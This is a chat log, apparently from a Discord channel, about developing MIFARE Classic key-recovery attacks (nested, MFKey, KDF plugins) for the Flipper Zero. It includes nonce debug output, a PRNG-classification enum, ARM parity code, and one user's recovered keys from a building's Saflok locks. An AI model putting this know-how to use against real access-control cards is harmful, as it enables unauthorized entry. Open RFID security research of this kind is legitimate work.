91699 [E][MfClassicPoller] nt: dac0f106
91812 [E][MfClassicPoller] nt: dac0f106
91925 [E][MfClassicPoller] nt: dac0f106
92038 [E][MfClassicPoller] nt: 6b03c71b
92151 [E][MfClassicPoller] nt: dac0f106
92280 [E][MfClassicPoller] Detected Static PRNG
112872 [E][Iso14443_4aPoller] ATS request failed
114241 [E][MfClassicPoller] nt: 7de946b9
114353 [E][MfClassicPoller] nt: 6b03c71b
114465 [E][MfClassicPoller] nt: dac0f106
114578 [E][MfClassicPoller] nt: dac0f106
114691 [E][MfClassicPoller] nt: dac0f106
114804 [E][MfClassicPoller] nt: dac0f106
114935 [E][MfClassicPoller] Detected Static PRNG
#

The two I initially found never increment their nonce challenge (lol)

#

Also I think I have like 30 of this same type in a stack somewhere

#

lmao, like half of my cards are static

#

it's correctly identifying weak PRNG's too

#
682844 [E][MfClassicPoller] nt: 30b7a331
682956 [E][MfClassicPoller] nt: 246658b0
683069 [E][MfClassicPoller] nt: 49ccb060
683182 [E][MfClassicPoller] nt: 6286057b
683295 [E][MfClassicPoller] nt: 49ccb060
683408 [E][MfClassicPoller] nt: 939861c1
683565 [E][MfClassicPoller] Detected Weak PRNG
#
799012 [E][MfClassicPoller] nt: 4182182c
799124 [E][MfClassicPoller] nt: 408dec5b
799237 [E][MfClassicPoller] nt: 0830751c
799350 [E][MfClassicPoller] nt: c8a0a0e3
799463 [E][MfClassicPoller] nt: 120699c0
799576 [E][MfClassicPoller] nt: c416a40f
799783 [E][MfClassicPoller] Detected Hard PRNG
#

Perfect, detects every possible PRNG

#

AloneLiberty's code is really coming clutch here. It just requires some rethinking to get it working with the whole callback design they're using now

oak granite
#

oh

#

my bad

#

I thought about static encrypted

regal storm
#

@oak granite We discovered there's more than one type of static encrypted card

oak granite
#

uscuid can emulate static encrypted

regal storm
#

Got two Disney Infinity figures to test Nested and a KDF plugin.

#

I guess for the Sonicare KDF all you really need are the brush heads, but I could be wrong.

harsh cobalt
regal storm
#

Hooray! I now have Jan 27 through Feb 11 to do nothing but this project.

#

Should be enough time to wrap up all of the standard Nested attacks

#

maybe enough time for the 33 bit MFKey testing? we'll find out.

harsh cobalt
#

nice

hidden nexus
#

👋 I'm in a building with safflok and the I have the parser installed - I even just grabbed the latest and reinstalled and I don't think it is working

#

I'm on OFW 0.97.1

#

Is there something else I should check?

#

The flipper finds the standard key of all for all the b keys and 2a2c13cc242a for A key sector 1 and all F's for A key of sector 2 - but the key which the same for all the A keys (I know because I got the key with other attacks) it does not find when I do the NFC read

regal storm
#

It's probably not running @hidden nexus

#

The KDFs are highly version specific

#

I'll trigger a new build so it builds for 0.97.1

hidden nexus
#

ok thanks - I can always flash down to run it if that is easier

regal storm
hidden nexus
#

yep that definitly worked

#

that was lightning fast 😮

#

thank you

regal storm
#

I really want to see most cards run that fast. I am flooded with unrelated work for the next 14 days, which pushes back our development.

regal storm
#

Now we're finally to the point I can restart our work on this - the project resumes this coming Saturday! I have almost a month of paid time now to develop Nested, it should only take 2 weeks.

#

I'll use any remaining time to solve the timing issues and make Crypto1 faster. I've played around with the firmware implementation a bit and optimization flags don't make it run faster, nor do lookup tables.

#

if it's possible we'll get a flame graph of the NFC stack to find out where the bottlenecks are. 3 weeks to do everything, short of the 33 bit MFKey and Hardnested/EMFI

#

there's also been one development in KDFs - OFW will accept KDFs that are already included in the Proxmark with certain conditions. I won't go into explaining those conditions here but we'll submit a D. Infinity KDF to test it out.

#

ideally I'd like to maintain a single opaque KDF plugin, a blob

barren heath
#

That sounds fantastic!

VingCard KDF maybe as well...? 🥹

harsh cobalt
#

It's funny I think the pm3 repo policy is if it's published elsewhere it can be included, so drop anything you want on GitHub somewhere, then get it included in pm3, then flipper 😁

hidden nexus
#

understandably no project wants to "first" in that case 😂

regal storm
#

Had some different work go overtime by 233 hours in the first 4 weeks of January. So the schedule got moved a bit, but now I actually get to work on MIFARE Classic the rest of February. I have almost 2 entire months to work on NFC - pretty awesome!

regal storm
#

I think I understand everything that needs to be done for nt prediction. For now I am getting rid of Full Nested, because I think I can use parity bits, the nt distance, and possibly nop instructions and/or averaging the nonce array to calibrate what nt is going to be.

#

I have every card that the Flipper Nested recognizes as a weak PRNG showing up as Static in the new NFC stack

#

Maybe I should differentiate all of the possible nt generation methods, because there's a few. Static nt no matter what, static incrementing nt, nt incremented based on time, KDF nt/static encrypted, and fully unpredictable nt (Hardnested)

#

Yea that would make a lot of sense. The current categorization doesn't really fit

#

Also per sector static nt

regal storm
#

We'll see how far this takes us

typedef enum {
    MfClassicPrngTypeUnknown, // Tag not yet tested
    MfClassicPrngTypeNoTag, // No tag detected during test
    // Static
    MfClassicPrngTypeStatic, // Tag nonce is a single known static value
    MfClassicPrngTypeStaticSector, // Tag nonce is a single known static value per sector
    MfClassicPrngTypeStaticUnknown, // Tag nonce is an unknown static value generated by which sector is being accessed, "static encrypted"
    // Shifting
    MfClassicPrngTypeStaticShift, // Tag nonce shifts by a known amount
    MfClassicPrngTypeTimeShift, // Tag nonce shifts every ~9.4395us
    MfClassicPrngTypeUnpredictable, // Tag nonce is a random value, hardnested attack required
} MfClassicPrngType;
regal storm
#

Yesterday I discovered the Cortex M4 inside the Flipper has support for SIMD instructions. I am testing a SIMD implementation of MFKey with volatile asm. It could be faster than what the compiler can produce, before we test the parity optimizations.

Also, I'm a bit behind my originally planned schedule. Had to step away due to some personal burnout, but I don't abandon projects. I'm finishing this, and the Dolphin Dojo to replace flipc.

#

this is what I have right now for a parallel evenparity32:

and r1, %[x], #0xff      // r1 = x & 0xff
ubfx r2, %[x], #8, #8    // r2 = (x >> 8) & 0xff
ubfx r3, %[x], #16, #8   // r3 = (x >> 16) & 0xff
lsr r4, %[x], #24        // r4 = x >> 24
ldrb r1, [%[table], r1]  // r1 = table[r1]
ldrb r2, [%[table], r2]  // r2 = table[r2]
ldrb r3, [%[table], r3]  // r3 = table[r3]
ldrb r4, [%[table], r4]  // r4 = table[r4]
uadd8 r1, r1, r2         // r1 = r1 + r2 (parallel addition)
uadd8 r3, r3, r4         // r3 = r3 + r4 (parallel addition)
uadd8 r1, r1, r3         // r1 = r1 + r3 (parallel addition)
and r1, r1, #0x0f        // r1 = r1 & 0x0f (extract sum)
and %[result], r1, #1    // result = r1 & 1 (extract parity)
#

not working 100% yet

swift halo
#

No worries: always take time you need

regal storm
#

Works but still slower than -O3

static inline uint8_t evenparity32(uint32_t x) {
    // SIMD implementation of evenparity32 for the Flipper Zero's Cortex M4
    uint32_t result;
    const uint8_t* table_ptr = table;
    __asm__ volatile("and r1, %[x], #0xff        \n\t" // r1 = x & 0xff
                     "ubfx r2, %[x], #8, #8      \n\t" // r2 = (x >> 8) & 0xff
                     "ubfx r3, %[x], #16, #8     \n\t" // r3 = (x >> 16) & 0xff
                     "lsr r4, %[x], #24          \n\t" // r4 = x >> 24
                     "ldrb r1, [%[table], r1]    \n\t" // r1 = table[r1]
                     "ldrb r2, [%[table], r2]    \n\t" // r2 = table[r2]
                     "ldrb r3, [%[table], r3]    \n\t" // r3 = table[r3]
                     "ldrb r4, [%[table], r4]    \n\t" // r4 = table[r4]
                     "uadd8 r1, r1, r2           \n\t" // r1 = r1 + r2 (parallel addition)
                     "uadd8 r3, r3, r4           \n\t" // r3 = r3 + r4 (parallel addition)
                     "uadd8 r1, r1, r3           \n\t" // r1 = r1 + r3 (parallel addition)
                     "and r1, r1, #0x0f          \n\t" // r1 = r1 & 0x0f (extract sum)
                     "and %[result], r1, #1      \n\t" // result = r1 & 1 (extract parity)
                     : [result] "=r"(result)
                     : [x] "r"(x), [table] "r"(table_ptr)
                     : "r1", "r2", "r3", "r4");
    return result;
}
regal storm
#

not as great as I hoped but progress, going to see if I can stack any other improvements

#

also I found the issue which causes MFKey to run at half speed. When you launch it from the app menu, the state of the app menu consumes enough memory to slow down MFKey

#

which explains why I was never hitting it, because I launched it from the CLI

#

the app menu state exists so that if you back out of an application, you return to the folder that you were exploring in the browser

swift halo
#

what if you put MFKey into the "shortcuts" (left press, hold left press, etc)? Would it avoid running the "app menu"

regal storm
#

Just checked, yes, it runs at full speed if its a shortcut

#

Going to save another 1.5 KB to see if it's enough to always run at full speed

regal storm
#

Been working on saving memory all day today. We're down around 2 kilobytes with no degradation in performance. We still need to lose around 4 kilobytes (I think) until it reliably runs at full speed from the app menu

#

App menu launch reserves an extra 6 KB

regal storm
#

Going to modify the firmware to collect the parity bit from readers tomorrow, have a vague idea on how to use it to accelerate MFKey

#

p() is the parity of the last byte/8 bits, pR is the 33rd bit of keystream
(p(suc64(nT)) ^ {ar} parity bit) = pR
Run either the odd or the even state (one of the two I think, possibly masked) at checkpoint 15 in state_loop through filter to get the 33rd bit of keystream, then eliminate all states that don't match pR

#

Hard to know for sure if it'll work though, because if the state has to be combined with the even counterpart it won't work to save memory.

                temp.even = odd[o];
                temp.odd = even[e] ^ evenparity32(odd[o] & LF_POLY_ODD);
#

(but it still would significantly reduce total execution time - even if it doesn't work)

regal storm
#

I have MFKey within ~400 bytes of running at full speed from the app menu

regal storm
#

Okay it's now running with enough memory. I'm noticing that I'm really fighting with the memory usage of the binary itself, it would be helpful to load and unload sections of the binary so they don't all get loaded in at once.

#

If I can get that working we can have every part of MFKey running at full speed instead of what I have now, which is a slightly slower dictionary attack and zero debug logging and blood sacrifice in exchange for a full speed MFKey.

regal storm
#

Found the answer instead of whispering arcane secrets to the compiler! PluginManager along with plugin_manager_load_single and plugin_manager_free

#

I can split the Dictionary, Mfkey32, and Nested attacks into plugins which can be unloaded and reloaded

hidden nexus
#

oh damn

#

that sounds like a nice solution

regal storm
#

I have MFKey using the new plugin framework now. It saves only around 5 additional kilobytes but that should be enough. Still getting random crashes most likely related to peak memory consumption so I'm tracking those down this morning

regal storm
#

I think I tracked down the bug which causes MFKey to crash, or otherwise not run at full speed when it can

#

Confirmed

mossy pagoda
regal storm
#

It's actually not a bug, it's how it works. What I overlooked was just because the system might tell you that you have 120000 bytes free, that doesn't mean that you can malloc 120000.

#

I was getting confused why there was 4000, 8000, 9000 bytes available and when I did a malloc into any of it (even like 100 bytes) the Flipper would freeze

#

You can only allocate memory if the largest contiguous block of the available heap is that size

#

So even if you have 30 KB available, if the available memory is spread across 200 byte chunks, you can't allocate more than 200 bytes or the Flipper will freeze

#

FreeRTOS has no method of defragmenting memory

#

And you know what likes to make a bunch of small chunks? The file browser

mossy pagoda
#

ooohhh yeahhh, that'll do it

#

so whats the workaround/fix? just, grab a bunch of small blocks (and make the fragmentation worse lol)?

regal storm
#

So users that browse to your app using the app menu will have less memory than users who directly launch it via cli or shortcut

regal storm
mossy pagoda
#

clever!

regal storm
#

Technically you could split your memory but you'd have to do it across many small blocks